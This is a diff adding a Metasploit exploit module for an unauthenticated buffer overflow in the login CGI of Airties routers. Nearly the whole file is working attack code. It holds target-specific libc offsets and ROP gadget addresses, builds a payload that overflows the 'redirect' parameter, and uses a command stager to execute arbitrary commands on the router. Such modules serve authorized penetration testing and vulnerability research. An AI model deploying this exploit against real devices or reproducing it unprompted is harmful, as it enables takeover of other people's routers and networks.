airties login bof module

Author: m-1-k-3

modules/exploits/linux/http/airties_login_cgi_bof.rb

@@ -0,0 +1,121 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::CmdStager
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Airties login cgi Buffer Overflow',
+      'Description'    => %q{
+        This module exploits an remote buffer overflow vulnerability on several Airties routers.
+        The vulnerability exists in the handling of HTTP queries to the login cgi with
+        long redirect parameter values. The vulnerability can be exploitable without authentication. 
+        This module has been tested successfully on Airties firmware AirTies_Air5650v3TT_FW_1.0.2.0.bin
+        in emulation. Other firmware versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, 
+        Air5444TT, Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable.
+      },
+      'Author'         =>
+        [
+          'Batuhan Burakcin <batuhan[at]bmicrosystems.com>',   # discovered the vulnerability
+          'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
+        ],
+      'License'        => MSF_LICENSE,
+      'Platform'       => ['linux'],
+      'Arch'           => ARCH_MIPSBE,
+      'References'     =>
+        [
+          ['EDB', '36577'],
+          ['URL', 'http://www.bmicrosystems.com/blog/exploiting-the-airties-air-series/'], #advisory
+          ['URL', 'http://www.bmicrosystems.com/exploits/airties5650tt.txt'], #PoC
+        ],
+      'Targets'        =>
+        [
+          [ 'AirTies_Air5650v3TT_FW_1.0.2.0',
+            {
+              'Offset'         => 359,
+              'LibcBase'       => 0x2aad1000,
+              'RestoreReg'     => 0x0003FE20,    # restore s-registers
+              'System'         => 0x0003edff,    # address of system-1
+              'CalcSystem'     => 0x000111EC,    # calculate the correct address of system
+              'CallSystem'     => 0x00041C10,    # call our system
+              'PrepareSystem'  => 0x000215b8,    # prepare $a0 for our system call
+            }
+          ]
+        ],
+      'DisclosureDate'  => 'Mar 31 2015',
+      'DefaultTarget'   => 0))
+      deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
+  end
+
+  def check
+    begin
+      res = send_request_cgi({
+        'uri'     => "/cgi-bin/login",
+        'method'  => 'GET'
+      })
+
+      if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /login.html\?ErrorCode=2/
+        return Exploit::CheckCode::Detected
+      end
+    rescue ::Rex::ConnectionError
+      return Exploit::CheckCode::Unknown
+    end
+
+    Exploit::CheckCode::Unknown
+  end
+
+  def exploit
+    print_status("#{peer} - Accessing the vulnerable URL...")
+
+    unless check == Exploit::CheckCode::Detected
+      fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
+    end
+
+    print_status("#{peer} - Exploiting...")
+    execute_cmdstager(
+      :flavor  => :echo,
+      :linemax => 100
+    )
+  end
+
+  def prepare_shellcode(cmd)
+    shellcode = rand_text_alpha_upper(target['Offset'])                    # padding
+    shellcode << [target['LibcBase'] + target['RestoreReg']].pack("N")     # restore registers with controlled values
+    shellcode << rand_text_alpha_upper(36)                                 # padding
+    shellcode << [target['LibcBase'] + target['System']].pack("N")         # s0 - system address-1
+    shellcode << rand_text_alpha_upper(16)                                 # unused registers $s1 - $s4
+    shellcode << [target['LibcBase'] + target['CallSystem']].pack("N")     # $s5 - call system
+    shellcode << rand_text_alpha_upper(8)                                  # unused registers $s6 - $s7
+    shellcode << [target['LibcBase'] + target['PrepareSystem']].pack("N")  # write sp to $a0 -> parameter for call to system
+    shellcode << rand_text_alpha_upper(28)                                 # padding
+    shellcode << [target['LibcBase'] + target['CalcSystem']].pack("N")     # add 1 to s0 (calculate system address)
+    shellcode << cmd
+  end
+
+  def execute_command(cmd, opts)
+    shellcode = prepare_shellcode(cmd)
+    begin
+      res = send_request_cgi({
+        'method' => 'POST',
+        'uri'     => "/cgi-bin/login",
+        'encode_params' => false,
+        'vars_post' => {
+          'redirect' => shellcode,
+          'user'     => rand_text_alpha(5),
+          'password' => rand_text_alpha(8)
+        }
+      })
+      return res
+    rescue ::Rex::ConnectionError
+      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
+    end
+  end
+end